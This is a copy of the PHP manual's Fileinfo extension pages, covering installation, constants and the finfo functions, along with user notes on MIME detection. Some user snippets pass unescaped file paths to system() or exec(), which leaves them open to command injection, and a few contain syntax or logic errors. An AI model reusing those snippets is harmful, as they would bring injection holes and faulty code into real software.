grillen at abendstille dot at 09-Oct-2008 01:54
on opensuse 10.2 systems you'll need the file-devel package.
greg at freephile dot com 01-Oct-2008 08:29
For Kubuntu systems and probably most other Linuxes, after installing libmime-devel, I could successfully install the PECL Fileinfo package.

$ sudo apt-get install libmagic-dev

$ sudo pecl install Fileinfo
Introduction
Requirements
Fileinfo


Requirements

Before PHP 5.3.0, the magic_open library is needed to build this extension.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is enabled by default as of PHP 5.3.0. Before this time, fileinfo was a PECL extension but is no longer maintained there. However, versions prior to 5.3+ may use the » discontinued PECL extension.

Windows users must include the bundled php_fileinfo.dll DLL file in php.ini to enable this extension.

The libmagic library is bundled with PHP, but includes PHP specific changes. A patch against libmagic named libmagic.patch is maintained and may be found within the PHP fileinfo extensions source.

Upgrade history of the bundled libmagic library
PHP Version | Updated libmagic Version | Notes
5.3.2 | 5.03 |
5.3.0 | 5.02 |

User Contributed Notes

mdahlke at pixelcarve dot com 26-Jul-2010 09:24
I found that while using the magic files from GnuWin 4.23 worked great for the PECL extension with PHP 5.2 on Win32, when I started migrating to PHP 5.3 all of a sudden Fileinfo no longer worked.  Updating the magic files to the latest version (4.26 at the time of this writing) worked like a charm.

I guess the bundled version of Fileinfo uses the new mime magic format while the old PECL version uses the old format.
darko at uvcms dot com 28-Jun-2008 08:04
I need to add an addendum to the previous instalation steps.

Recently gnuwin32 project made a new release of file package (4.24). Binary release does not contain all needed magic files for fileinfo extension.
Instead of downloading latest version of file package (4.24) just get previous one (4.23) which does contain all of the needed files.
darko at uvcms dot com 16-Apr-2008 02:35
It is really strange to find that installing filenfo extension on windows is not yet fully explained. Here are the latest most up-to-date steps to make this work:

1. Add php_fileinfo.dll to the list of enabled extensions
extension=php_fileinfo.dll

2. Download GNU file package for windows
get it from here: http://gnuwin32.sourceforge.net/downlinks/file-bin-zip.php

Extract the folder from the archive called shared\file which contains 4 magic files (magic, magic.mgc, magic.mime, magic.mime.mgc).

3. Place these 4 files in a known place

4. Add system enviroment variable MAGIC that points to the file called magic. For example if you placed magic files in folder called magic in c:\php that means that the propper path is c:\php\magic\magic

5. If you use IIS restart it and fileinfo is ready for use

5a. If you use apache you will have to restart operating system for the service to acknowledge MAGIC env. variable.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

sam nospam at archives.org.au 23-Mar-2010 10:03
In addition to
 extension=fileinfo.so
I also had to add
 mime_magic.magicfile=/usr/share/file/magic
to my php configuration.  Then, I instantiate Finfo thus:

<?php
$mimeMagicFile = get_cfg_var('mime_magic.magicfile');
$finfo = new finfo(FILEINFO_MIME, $mimeMagicFile);
?>

(This is despite the rumours I hear about the default being exactly what I set it to anyway.)
wade at waddles dot org 12-Aug-2008 08:18
On Ubuntu Feisty, you need to add the line

extension=fileinfo.so

to your /etc/php5/*/php.ini files. The extension gets linked at compile time to /usr/lib/libmagic.so.1 which uses a MAGIC environment variable which defaults to

/etc/magic:/usr/share/file/magic
Installation
Resource Types
Installing/Configuring


Resource Types

There is one resource used in Fileinfo extension: a magic database descriptor returned by finfo_open().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FILEINFO_NONE (integer)
No special handling.
FILEINFO_SYMLINK (integer)
Follow symlinks.
FILEINFO_MIME_TYPE (integer)
Return the mime type. Available since PHP 5.3.0.
FILEINFO_MIME_ENCODING (integer)
Return the mime encoding of the file. Available since PHP 5.3.0.
FILEINFO_MIME (integer)
Return the mime type and mime encoding as defined by RFC 2045.
FILEINFO_COMPRESS (integer)
Decompress compressed files. Disabled since PHP 5.3.0 due to thread safety issues.
FILEINFO_DEVICES (integer)
Look at the contents of blocks or character special devices.
FILEINFO_CONTINUE (integer)
Return all matches, not just the first.
FILEINFO_PRESERVE_ATIME (integer)
If possible preserve the original access time.
FILEINFO_RAW (integer)
Don't translate unprintable characters to a \ooo octal representation.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Fileinfo Functions
Fileinfo


Fileinfo Functions

Table of Contents

  • finfo_buffer — Return information about a string buffer
  • finfo_close — Close fileinfo resource
  • finfo_file — Return information about a file
  • finfo_open — Create a new fileinfo resource
  • finfo_set_flags — Set libmagic configuration options
  • mime_content_type — Detect MIME Content-type for a file (deprecated)

User Contributed Notes

bostjan at a2o dot si 09-Nov-2010 05:58
'Failed to load magic database at...'

This error message may be caused by incompatibilities between library and database. Check your database by trying to compile it with file command, like this:

cd /etc/magic
file -C -m magic
file -C -m magic.mime

b.
nessi at nessi dot ch 01-Jan-2010 04:26
For opensuse, you will just need to install the file-devel to solve the Problem with
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution

zypper install file-devel
aidan at php dot net 20-Dec-2008 01:09
As of PHP 5.3, Fileinfo is shipped with the main distribution and enabled by default. The extension is no longer maintained in PECL.
Evermorian 26-Aug-2008 05:03
In response to the suggestion from "jon at cybus" below to symlink /usr/share/file/magic to /etc/magic.mime, note that this causes other problems (in Debian Etch, anyway).  It breaks the -i functionality of the file command, causing it to return the human-readable string instead of the MIME type.  It also results in finfo doing the same.

So, it is probably better to actually specify the path to the magic file correctly when instantiating your finfo object:

<?php
$fi = new finfo(FILEINFO_MIME,'/usr/share/file/magic');
$mime_type = $fi->buffer(file_get_contents($file));
?>

Of course, you still end up with something that cannot tell the difference between a Word document and an Excel spreadsheet.
Terren Suydam 20-Jun-2008 11:00
If finfo_file() returns a mime type that also includes a character set definition (separated by a semi-colon), like:

text/plain; charset=us-ascii

Then you'll probably want to leave the charset definition in with the mime type, particularly if you're using the resulting string in an HTTP Content-Length header. The HTTP standard specifically allows for this, see:

http://www.w3.org/International/O-HTTP-charset

It seemed as if some of the previous commenters were trying to remove the charset.
tom at bitworks dot de 23-Nov-2007 08:35
It sometimes seams to be already helpful, simply to ask if the file contains the character NUL (ord == 0).

No normal textfile will contain an ASCII NUL, thus containing one or even perhaps more of them, it might be an executable or a picture file.

To identify picture types files php provides the function getimagesize()
Paul 08-Nov-2007 08:12
The results of this function seem to be of dubious quality.

eg
1)  a Word doc returns:
'application/msword application/msword'
...ok not too bad, but why does it come back twice?

2)  a PHP file comes back as:
'text/x-c++; charset=us-ascii'
My test file started with '<?php' so not ambiguous really. And where does it get the charset assumption from?

3)  a text doc that starts with the letters 'GIF' comes back as:
'image/gif'
(just like in DanielWalker's example for the unix 'file' command)

I had better results using the PEAR 'MIME_Type' package. It gave proper answers for 1 & 3 and identified the PHP file as 'text/plain' which is probably better than a false match for C++

Both finfo_file and MIME_Type correctly identified my other two test files which were a windows exe renamed with .doc extension, and a PDF also renamed with .doc extension.
bob at bradley dot com 07-Oct-2007 01:56
This is the most impossible module to get functioning.  There's about zero way to get it to function on OS X, and it's supposed to be the de facto way to pull mime types and other file info?

Seriously, the whole thing and all dependencies need to be bundled with PHP.
jon at cybus dot co dot uk 04-Sep-2007 07:58
To get v1.0.4 working on my Ubuntu Feisty system, I had to do the following. It's probably the same on Debian.

* apt-get install libmagic1-dev
* pecl install Fileinfo
* Add "extension=fileinfo.so" to php.ini (/etc/php5/{cli,cgi}/php.ini)
* ln -s /usr/share/file/magic /etc/magic.mime
hari_1983 at yahoo dot com 22-Aug-2007 10:45
Actually for RPM users file-devel contains whatever libmagic contains. then apart from pear, u can directly use "pecl install Fileinfo".
aidan at php dot net 15-Mar-2007 12:54
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic'
PHP Warning:  finfo::file(): The invalid fileinfo object

These errors can be rectified by copying your magic database (depending on your distro, this file can be anywhere, on debian it's in /usr/share/file/magic) to /etc/magic.mime

libmagic automatically appends the .mime to the end of the filename, so PHP incorrectly reports the path it was looking for.

The same applies for:
PHP Warning:  finfo::finfo(): Failed to load magic database at '/etc/magic.mime'

Unfortunately users will have to call the magic file /etc/magic.mime.mime in this case.
Alexey 18-Feb-2007 06:39
Well, it is hard to install and use this extension. There is better alternative - use lunux comand "file". For  insturctions - "man file" from linux shell.

<?
echo system("file -i -b file.pdf");
?>

application/pdf
szotsaki at gmail dot com 01-Feb-2007 11:12
I am about to write how installed this package.

First of all, I tried with "pear install fileinfo" - as the manual says.
But the pear command said that 'Package "Fileinfo" is not valid,
install failed'.

Then the "pear install pecl/fileinfo" was a better way. But at that time the "phpize" command was missing.
I installed that (on openSUSE distributions it is in the php5-devel, but I think you can find it in your distro's corresponding php-devel package).

After that you may install "re2c" (I did). It's homepage is: http://sourceforge.net/projects/re2c

Copy the magic file of Apache (usually in /etc/apache2) into the following directory: /usr/locale/share/file/ or /usr/share/file/

Then you have to install "libmagic-dev". If you have Debian based system you can simply install it with apt.
But if you have an rpm based system (like me), you have to download the following package: http://packages.debian.org/unstable/libdevel/libmagic-dev
It contains the files we need.
So, download the file, browse it with Midnight Commander (mc) (you have to apt and dpkg be installed) and simply extract (so copy) the /usr folder (it is inside the CONTENTS folder) of the .deb package to the root folder.

And now give the "pear install pecl/fileinfo" command another try :)

Ps: Don't forget to check whether the script has wrote the following line into the php.ini (on openSUSE: /etc/php5/apache2): extension=fileinfo.so

I hope, I could help.
motin at demomusic dot nu 09-Jan-2007 05:34
I had a real headache trying to install this package through pear/pecl. Ran into what looks like this bug: http://pecl.php.net/bugs/bug.php?id=7673 (phpize fails)

I found downloading the package manually and running ./configure helped show what the problem is:

...
checking for fileinfo support... yes, shared
checking for magic files in default path... not found
configure: error: Please reinstall the libmagic distribution
<quit>

I though this was because of a missing magic-database like magic.mime but examining the configure-script, magic.h is searched for.

Problem for me was that include/magic.h was not found. After some googling about where to find magic.h led me to the dead
simple solution:

apt-get install libmagic-dev

This does NOT solve the original installation bug strangely enough, but allows for manual installation:

1. Find the url to the latest version of fileinfo from http://pecl.php.net/package/Fileinfo (atm: http://pecl.php.net/get/Fileinfo-1.0.4.tgz)

2. Download, compile and install
wget http://pecl.php.net/get/Fileinfo-1.0.4.tgz
gunzip Fileinfo-1.0.4.tgz
tar -xvf Fileinfo-1.0.4.tar
cd fileinfo-1.0.4
./configure
make
make install

3. Add extension=fileinfo.so in your php.ini file

4. Restart Apache
jausions at php dot net 08-Jul-2006 12:26
For Windows users:

1. Go to http://pecl4win.php.net/ to get the php_fileinfo.dll if your PHP installation didn't come with it, and you haven't installed the Extensions package.

2. Then make sure you have extension=php_fileinfo.dll somewhere in your php.ini

3. Restart your web server.
Predefined Constants
finfo_buffer
Fileinfo


Return information about a string buffer

Fileinfo Functions
finfo_close
Fileinfo Functions
PHP Manual

finfo_buffer

finfo::buffer

(PHP 5 >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_buffer -- finfo::buffer — Return information about a string buffer

Description

Procedural style

string finfo_buffer ( resource $finfo , string $string = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

Object oriented style

string finfo::buffer ( string $string = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

This function is used to get information about binary data in a string.

Parameters

finfo

Fileinfo resource returned by finfo_open().

string

Content of a file to be checked.

options

One or disjunction of more Fileinfo constants.

context

Return Values

Returns a textual description of the string argument, or FALSE if an error occurred.

Examples

Example #1 A finfo_buffer() example

<?php
$finfo = new finfo(FILEINFO_MIME);
echo $finfo->buffer($_POST["script"]) . "\n";
?>

The above example will output something similar to:

application/x-sh; charset=us-ascii

See Also

  • finfo_file() - Return information about a file

User Contributed Notes

contact at ingnu dot fr 20-Jun-2011 02:22
You can easily check mime type of an internet resource using this code :

<?php
function getUrlMimeType($url) {
    $buffer = file_get_contents($url);
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    return $finfo->buffer($buffer);
}
?>

I'm using it to detect if an url given by a user is a HTML page (so I do some stuff with the HTML) or a file on Internet (so I show an icon accordingly to the mime type).
Fileinfo Functions
finfo_close
Fileinfo Functions


Close fileinfo resource

finfo_buffer
finfo_file
Fileinfo Functions
PHP Manual

finfo_close

finfo::__destruct

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_close -- finfo::__destruct — Close fileinfo resource

Description

Procedural style

bool finfo_close ( resource $finfo )

Object oriented style

finfo::__destruct() ( void )

This function closes the resource opened by finfo_open().

Parameters

finfo

Fileinfo resource returned by finfo_open().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
finfo_buffer
finfo_file
Fileinfo Functions


Return information about a file

finfo_close
finfo_open
Fileinfo Functions
PHP Manual

finfo_file

finfo::file

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_file -- finfo::file — Return information about a file

Description

Procedural style

string finfo_file ( resource $finfo , string $file_name = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

Object oriented style

string finfo::file ( string $file_name = NULL [, int $options = FILEINFO_NONE [, resource $context = NULL ]] )

This function is used to get information about a file.

Parameters

finfo

Fileinfo resource returned by finfo_open().

file_name

Name of a file to be checked.

options

One or disjunction of more Fileinfo constants.

context

For a description of contexts, refer to Stream Functions.

Return Values

Returns a textual description of the contents of the filename argument, or FALSE if an error occurred.

Examples

Example #1 A finfo_file() example

<?php
$finfo = finfo_open(FILEINFO_MIME_TYPE); // return mime type ala mimetype extension
foreach (glob("*") as $filename) {
    echo finfo_file($finfo, $filename) . "\n";
}
finfo_close($finfo);
?>

The above example will output something similar to:

text/html
image/gif
application/vnd.ms-excel

See Also

  • finfo_buffer() - Return information about a string buffer

User Contributed Notes

Zane MegaLab.it 13-Jun-2011 08:38
I was getting application/octet-stream or "<= not supported" for all the files.

I found out that in PHP 5.3 the magic file is built-in into PHP and that is what should be used. The magic file found on the system may not always be what libmagic expects, hence the error.
info at tech dash bits dot net 13-Feb-2011 01:34
While figuring out my problem using this new function, i had a brainwave in using the full path of the file instead of the relative path. For example:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
finfo_file($finfo, $folder.$fileName);
?>

This will result in an error where it can't find the file specified.

This however fixxes that problem:

<?php
$folder = "somefolder/";
$fileName "aFile.pdf";

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, dirname(__FILE__)."/".$folder.$fileName);
?>
scott at thebrain dot ca 06-Jan-2009 09:29
I thought to use fileinfo to check if a file was gzip or bzip2. However, the mime type of a compressed file is "data" because compression is an encoding rather than a type.

gzip files begin with binary 1f8b.
bzip2 files begin with magic bytes 'B'  'Z'  'h'.
e.g.

<?php
$s = file_get_contents("somefilepath");
if ( bin2hex(substr($s,0,2)) == '1f8b' ) {/* could be a gzip file */}
if( substr($s,0,3) == 'BZh' ){/* could be a bzip2 file */}
?>

I am not an encoding expert. My only testing was using a few of my own encoded files.
darko at uvcms dot com 01-Aug-2008 08:28
OO (bit improved) version of the same thing

<?php
$file = '<somefile>';
$ftype = 'application/octet-stream';
$finfo = @new finfo(FILEINFO_MIME);
$fres = @$finfo->file($file);
if (is_string($fres) && !empty($fres)) {
   $ftype = $fres;
}
?>
darko at uvcms dot com 24-Apr-2008 09:53
Another interresting feature of finfo_file on Windows.

This function can return empty string instead of FALSE for some file types (ppt for example). Therefore to be sure do a triple check of output result and provide default type just in case. Here is a sample code:

$ftype = 'application/octet-stream';
$finfo = @finfo_open(FILEINFO_MIME);
if ($finfo !== FALSE) {
   $fres = @finfo_file($finfo, $file);
   if ( ($fres !== FALSE)
        && is_string($fres)
        && (strlen($fres)>0)) {
            $ftype = $fres;
        }
   @finfo_close($finfo);
}
WebShowPro 25-Sep-2007 02:01
Just an improvement on the sample Ryan Day posted - slightly off topic since this method does not use finfo_file but in some cases this method might be preferable.

The main change is the -format %m parameters given to the identify call.  I would suggest using the full system path to identify i.e. /usr/bin/identify to be a little safer (the location may change from server to server though).

<?php

function is_jpg($fullpathtoimage){
    if(file_exists($fullpathtoimage)){
        exec("/usr/bin/identify -format %m $fullpathtoimage",$out);
        //using system() echos STDOUT automatically
        if(!empty($out)){
            //identify returns an empty result to php
            //if the file is not an image

            if($out == 'JPEG'){
                return true;
            }
        }
    }
    return false;
}

?>
Ryan Day 31-Aug-2007 02:34
to check images on unix based systems its much better to use the identify command provided by image magic as it provides accurate results about all files

<?php
function is_jpg($fullpathtoimage){
    if(file_exists($fullpathtoimage)){
        exec("identify $fullpathtoimage",$out);
        //using system() echos STDOUT automatically
        if(!empty($out)){
            //identify returns an empty result to php
            //if the file is not an image
            $info = $out[0];
            $info = explode(' ',$out[0]);
            //^IF THE FILENAME CONTAINS SPACES
            //^THIS WILL NOT WORK...be creative
            $type = $info[1];
            if($type == 'JPEG'){
                return true;
            }
        }
    }
    return false;
}
?>

identify can process all types of images that are web friendly
sample output:
./image/someimage.jpg JPEG 150x112 150x112+0+0 DirectClass 8-bit 4.54688kb
if you dont want to control the image name or want to support spaces use: escapeshellarg()
http://us2.php.net/manual/en/function.escapeshellarg.php

function links:
exec() -- http://us2.php.net/manual/en/function.exec.php
explode() -- http://us2.php.net/manual/en/function.explode.php
Schraalhans Keukenmeester 21-May-2007 03:20
Tempting as it may seem to use finfo_file() to validate uploaded image files (Check whether a supposed imagefile really contains an image), the results cannot be trusted. It's not that hard to wrap harmful executable code in a file identified as a GIF for instance.

A better & safer option is to check the result of:

if (!$img = @imagecreatefromgif($uploadedfilename)) {
  trigger_error('Not a GIF image!',E_USER_WARNING);
  // do necessary stuff
}
finfo_close
finfo_open
Fileinfo Functions


Create a new fileinfo resource

finfo_file
finfo_set_flags
Fileinfo Functions
PHP Manual

finfo_open

finfo::__construct

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_open -- finfo::__construct — Create a new fileinfo resource

Description

Procedural style

resource finfo_open ([ int $options = FILEINFO_NONE [, string $magic_file = NULL ]] )

Object oriented style (constructor):

finfo::__construct() ([ int $options = FILEINFO_NONE [, string $magic_file = NULL ]] )

This function opens a magic database and returns its resource.

Parameters

options

One or disjunction of more Fileinfo constants.

magic_file

Name of a magic database file, usually something like /path/to/magic.mime. If not specified, the MAGIC environment variable is used. If this variable is not set either, /usr/share/misc/magic is used by default. A .mime and/or .mgc suffix is added if needed.

Passing NULL or an empty string will be equivalent to the default value.

Return Values

Returns a magic database resource on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic"); // return mime type ala mimetype extension

if (!$finfo) {
    echo "Opening fileinfo database failed";
    exit();
}

/* get mime-type for a specific file */
$filename = "/usr/local/something.txt";
echo $finfo->file($filename);

?>

Example #2 Procedural style

<?php
$finfo = finfo_open(FILEINFO_MIME, "/usr/share/misc/magic"); // return mime type ala mimetype extension

if (!$finfo) {
    echo "Opening fileinfo database failed";
    exit();
}

/* get mime-type for a specific file */
$filename = "/usr/local/something.txt";
echo finfo_file($finfo, $filename);

/* close connection */
finfo_close($finfo);
?>

The above example will output:

text/plain; charset=us-ascii

See Also

  • finfo_close() - Close fileinfo resource

User Contributed Notes

olivier dot berger at it-sudparis dot eu 09-Mar-2011 12:02
On my Debian squeeze system, the path needed is like :
<?php
 $finfo = new finfo(FILEINFO_MIME, "/usr/share/misc/magic.mgc");
?>
franssen dot roland at gmail dot com 11-May-2010 12:23
Notice FileInfo::__construct() has strange behavior in PHP < 5.3.1 when a 2nd parameter is set explicitly, e.g.;

<?php
$fileInfo = new finfo(FILEINFO_MIME, null);
?>

Expected result:
----------------
object(finfo)#2 (0) { }

Actual result:
--------------
Warning: finfo::finfo(): Failed to load magic database at ''. in *** on line ***
object(finfo)#2 (0) { }

See http://bugs.php.net/bug.php?id=51732
mark at dynom dot nl 09-Nov-2008 12:34
It seems there is quite some inconsistency in distributions and loading of magic files.

On Archlinux, the file is located here:
/usr/share/misc/file/magic.mgc

But this:

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic');
$fi->file('/tmp/fubar.txt');
?>

Actually segfaults, where if I type the full name (including the file extension:)

<?php
$fi = new finfo(FILEINFO_MIME, '/usr/share/misc/file/magic.mgc'); // added ".mgc"
$fi->file('/tmp/fubar.txt');
?>

It works as expected, so I guess something goes wrong with "A .mime and/or .mgc suffix is added if needed."
php at brudaswen dot de 15-Sep-2008 03:13
Since it costed me some time to find the needed magic database files for Windows, just a hint:

The last release of the GnuWin32 project with both needed files (magic and magic.mime) currently was "file-4.23".
All releases after 4.23 to 4.25-1 did not contain both needed files.

Hope that helps.
dario dot borreguero at gmail dot com 16-Apr-2008 03:15
Platform: WinXP-SP2, PHP5.2.5, MySQL 5.0, Apache 2.2.8

After reading former notes, I wasn't able to load my magic database: 'magic.mime' file (donwloaded from GnuWin32 project, zipped with the binary files v4.21). I always got an invalid $finfo object or finfo_open(...) returned FALSE.

In order to be able to load the 'magic.mime' file, Fileinfo library (bundled in PHP5.2.5) also requires 'magic' file.

For example:
1. Database:
  c:\php\magic.mime
  c:\php\magic

2. PHP Code:
<?php
  $filname = 'c:\php\php.ini';
  $finfo = new finfo(FILEINFO_MIME, 'c:\php\magic');
  if (!$finfo) return false;
  echo $finfo->file($filename);
?>

For further info see: http://pecl.php.net/bugs/bug.php?id=7555

Pay attention to comments added by 'christophe dot charron dot xul at gmail dot com'

NOTE: Before upgrading to PHP5.2.5, I was working with PHP5.2.1 and it only required 'magic.mime' file.
php at kingsquare dot nl 23-Jan-2008 07:41
The current version (1.04) doesnt support a different mime.magic database than the server default.

(the documentation is thus not correct)
Ubuntu default location is '/usr/share/file/magic'. In order for the examples to work all finfo_open()-commands must be issued with the extra location accordingly:
<?php
$file = "/path/to/file.jpg";
$handle = finfo_open(FILEINFO_MIME, '/usr/share/file/magic');
$mime_type = finfo_file($handle,$file);
?>
ian at createanet dot co dot uk 02-Nov-2007 08:50
Couldn't get finfo to return the mimetype in the way expected so i made a function to do it with system()

<?php
function get_mime_type($filepath) {
    ob_start();
    system("file -i -b {$filepath}");
    $output = ob_get_clean();
    $output = explode("; ",$output);
    if ( is_array($output) ) {
        $output = $output[0];
    }
    return $output;
}
?>

hope it works for other people too
tularis at php dot net 06-May-2007 12:55
On Windows systems people might find that this always returns "application/x-dpkg".
There are 2 ways of solving this problem:
1. Get the mime-magic database file from GnuWin32 at <http://sourceforge.net/projects/gnuwin32/>
2. You can manually "fix" the mime-magic file by editing it and escaping all lines starting with !, thus changing each one to \!
finfo_file
finfo_set_flags
Fileinfo Functions


Set libmagic configuration options

finfo_open
mime_content_type
Fileinfo Functions
PHP Manual

finfo_set_flags

finfo::set_flags

(PHP >= 5.3.0, PECL fileinfo >= 0.1.0)

finfo_set_flags -- finfo::set_flags — Set libmagic configuration options

Description

Procedural style

bool finfo_set_flags ( resource $finfo , int $options )

Object oriented style

bool finfo::set_flags ( int $options )

This function sets various Fileinfo options. Options can be set also directly in finfo_open() or other Fileinfo functions.

Parameters

finfo

Fileinfo resource returned by finfo_open().

options

One or disjunction of more Fileinfo constants.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
finfo_open
mime_content_type
Fileinfo Functions


Detect MIME Content-type for a file (deprecated)

finfo_set_flags
Filesystem
Fileinfo Functions
PHP Manual

mime_content_type

(PHP 4 >= 4.3.0, PHP 5)

mime_content_type — Detect MIME Content-type for a file (deprecated)

Description

string mime_content_type ( string $filename )

Returns the MIME content type for a file as determined by using information from the magic.mime file.

Parameters

filename

Path to the tested file.

Return Values

Returns the content type in MIME format, like text/plain or application/octet-stream.

Notes

Warning

This function has been deprecated as the PECL extension Fileinfo provides the same functionality (and more) in a much cleaner way.

Examples

Example #1 mime_content_type() Example

<?php
echo mime_content_type('php.gif') . "\n";
echo mime_content_type('test.php');
?>

The above example will output:

image/gif
text/plain

See Also

  • Fileinfo for a replacement

User Contributed Notes

john dot howard at prismmg dot com 26-Oct-2009 03:43
Here's a simple function to return MIME types, based on the Apache mime.types file. [The one in my previous submission, which has since been replaced by this one] only works properly if mime.types is formatted as Windows text. The updated version below corrects this problem. Thanks to Mike for pointing this out.

<?php
function get_mime_type($filename, $mimePath = '../etc') {
   $fileext = substr(strrchr($filename, '.'), 1);
   if (empty($fileext)) return (false);
   $regex = "/^([\w\+\-\.\/]+)\s+(\w+\s)*($fileext\s)/i";
   $lines = file("$mimePath/mime.types");
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      $line = rtrim($line) . " ";
      if (!preg_match($regex, $line, $matches)) continue; // no match to the extension
      return ($matches[1]);
   }
   return (false); // no match at all
}
?>

Notes:
[1] Requires mime.types file distributed with Apache (normally found at ServerRoot/conf/mime.types).  If you are using shared hosting, download the file with the Apache distro and then upload it to a directory on your web server that php has access to.

[2] First param is the filename (required). Second parameter is path to mime.types file (optional; defaults to home/etc/).

[3] Based on MIME types registered with IANA (http://www.iana.org/assignments/media-types/index.html). Recognizes 630 extensions associated with 498 MIME types.

[4] Asserts MIME type based on filename extension. Does not examine the actual file; the file does not even have to exist.

[5] Examples of use:
>> echo get_mime_type('myFile.xml');
>> application/xml
>> echo get_mime_type('myPath/myFile.js');
>> application/javascript
>> echo get_mime_type('myPresentation.ppt');
>> application/vnd.ms-powerpoint
>> echo get_mime_type('http://mySite.com/myPage.php);
>> application/x-httpd-php
>> echo get_mime_type('myPicture.jpg');
>> image/jpeg
>> echo get_mime_type('myMusic.mp3');
>> audio/mpeg
and so on...

To create an associative array containing MIME types, use:
<?php
function get_mime_array($mimePath = '../etc')
{
   $regex = "/([\w\+\-\.\/]+)\t+([\w\s]+)/i";
   $lines = file("$mimePath/mime.types", FILE_IGNORE_NEW_LINES);
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      if (!preg_match($regex, $line, $matches)) continue; // skip mime types w/o any extensions
      $mime = $matches[1];
      $extensions = explode(" ", $matches[2]);
      foreach($extensions as $ext) $mimeArray[trim($ext)] = $mime;
   }
   return ($mimeArray);
}
?>
Bob 21-Jun-2009 04:25
I see a lot of comments suggesting doing file extension sniffing (i.e. assuming .jpg files are JPEG images) when proper file-type sniffing functions are unavailable.
I want to point out that there is a much more accurate way.
If neither mime_content_type() nor Fileinfo is available to you and you are running *any* UNIX variant since the 70s, including Mac OS, OS X, Linux, etc. (and most web hosting is), just make a system call to 'file(1)'.
Doing something like this:
<?php
echo system("file -bi '<file path>'");
?>
will output something like "text/html; charset=us-ascii". Some systems won't add the charset bit, but strip it off just in case.
The '-bi' bit is important. However, you can use a command like this:
<?php
echo system("file -b '<file path>'"); // without the 'i' after '-b'
?>
to output a human-readable string, like "HTML document text", which can sometimes be useful.
The only drawback is that your scripts will not work on Windows, but is this such a problem? Just about all web hosts use a UNIX.
It is a far better way than just examining the file extension.
svogal 26-Dec-2008 07:17
<?php
if(!function_exists('mime_content_type')) {

    function mime_content_type($filename) {

        $mime_types = array(

            'txt' => 'text/plain',
            'htm' => 'text/html',
            'html' => 'text/html',
            'php' => 'text/html',
            'css' => 'text/css',
            'js' => 'application/javascript',
            'json' => 'application/json',
            'xml' => 'application/xml',
            'swf' => 'application/x-shockwave-flash',
            'flv' => 'video/x-flv',

            // images
            'png' => 'image/png',
            'jpe' => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'gif' => 'image/gif',
            'bmp' => 'image/bmp',
            'ico' => 'image/vnd.microsoft.icon',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'svg' => 'image/svg+xml',
            'svgz' => 'image/svg+xml',

            // archives
            'zip' => 'application/zip',
            'rar' => 'application/x-rar-compressed',
            'exe' => 'application/x-msdownload',
            'msi' => 'application/x-msdownload',
            'cab' => 'application/vnd.ms-cab-compressed',

            // audio/video
            'mp3' => 'audio/mpeg',
            'qt' => 'video/quicktime',
            'mov' => 'video/quicktime',

            // adobe
            'pdf' => 'application/pdf',
            'psd' => 'image/vnd.adobe.photoshop',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',

            // ms office
            'doc' => 'application/msword',
            'rtf' => 'application/rtf',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',

            // open office
            'odt' => 'application/vnd.oasis.opendocument.text',
            'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        );

        $ext = strtolower(array_pop(explode('.',$filename)));
        if (array_key_exists($ext, $mime_types)) {
            return $mime_types[$ext];
        }
        elseif (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME);
            $mimetype = finfo_file($finfo, $filename);
            finfo_close($finfo);
            return $mimetype;
        }
        else {
            return 'application/octet-stream';
        }
    }
}
?>
geompse 22-Sep-2008 11:46
Lukas V is IMO missing some point. The MIME type of a file may not be corresponding to the file suffix.

Imagine someone would obfuscate some PHP code in a .gif file, the file suffix would be 'GIF' but the MIME would be text/plain or even text/html.

Another example is files fetched via a distant server (wget / fopen / file / fsockopen...). The server can issue an error, i.e. 404 Not Found, wich again is text/html, whatever you save the file to (download_archive.rar).

His provided function should begin by the test of the function existancy like :

function MIMEalternative($file)
{
    if(function_exists('mime_content_type'))
        return mime_content_type($file);
    else
        return <lukas_v.MIMEfunction>($file);
}
Curtiss 19-Sep-2008 06:25
I'm not sure if anyone is still using the functions shown below (I'm guessing someone must still be, since the latest update to the functions was made a few months ago), but I think you'd be better off using an explode statement rather than the regex shown in most of the functions to find the filesuffix.

The regex shown is only going to catch files with extensions between 2 and 4 characters. While filenames with more or less than that are extremely rare, they do exist. If you open the regex up to start accepting those types of things, however, you're making your life complicated for no reason.

In addition, I don't see the need for the overhead produced by the preg_match function when you could just use the explode and array_pop functions together.

